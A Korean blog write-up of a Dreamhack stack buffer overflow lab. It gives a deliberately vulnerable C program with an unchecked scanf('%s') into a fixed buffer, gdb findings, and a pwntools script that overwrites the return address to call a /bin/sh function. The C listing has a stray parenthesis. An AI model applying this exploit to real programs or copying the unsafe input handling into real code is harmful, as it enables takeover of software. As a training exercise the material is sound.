외로운 Nova의 작업실

dreamhack 시스템해킹 - 7(stack buffer overflow) 본문

Computer App Penetesting/System Vulnerability

dreamhack 시스템해킹 - 7(stack buffer overflow)

Nova_ 2023. 1. 10. 22:45

stack buffer overflow 실습을 해볼까합니다.

 

- 취약점이 있는 코드

 

#include <stdio.h>
#include <unistd.h>

void init() {
        setvbuf(stdin, 0, 2, 0);
        setvbuf(stdout, 0, 2, 0);
}

void get_shell(){
        char *cmd = "/bin/sh";
        char *args[] = {cmd, NULL};

        execve(cmd, args, NULL);
}

int main(){
        char buf[0x28];

        init();

        printf("input: ");
        scanf("%s", buf));


        return 0;
}

scanf 함수는 사용자로부터 받은 값을 검증하지 않고 버퍼에 넣기때문에 버퍼보다 사용자로부터 받은 값이 크다면 버퍼를 흘러 넘치게됩니다. buf의 크기는 컴파일때 달라질 수 있기때문에 overflow를 하기전에 gdb를 통해 실제 buf의 크기와 get_shell 함수의 주소를 알아보겠습니다.

 

- gdb 리버싱

 

실제 보게되면 메인 함수이후에 buf를 설정하게디는데 sub rsp, 0x30에서 알수 있는 것처럼 실제 buf의 크기는 0x30인 것을 알 수 있습니다. 그렇다면 get_shell 함수의 주소를 알아보겠습니다.

0x4006fa임을 알 수 있습니다. 앞에 0을 붙이면 0x000004006fa임을 알 수 있습니다. 이를 토대로 python을 이용해 stack overflow를 실습해보겠습니다.

 

- rao.py

from pwn import *

p = process('./rao3.exe')

payload = b'A' * 0x30
payload += b'B'*0x8
payload += b'\xfa\x06\x40\x00\x00\x00\x00\x00'
p.send(payload)
p.interactive()

interactive()가 없다면 shell을 받을 수 없으니 꼭 넣어줍니다. 이제 실행시켜보겠습니다.

get_shell 함수의 주소를 ret값에 넣어 직접 실행시킬 수 있었습니다. 

Comments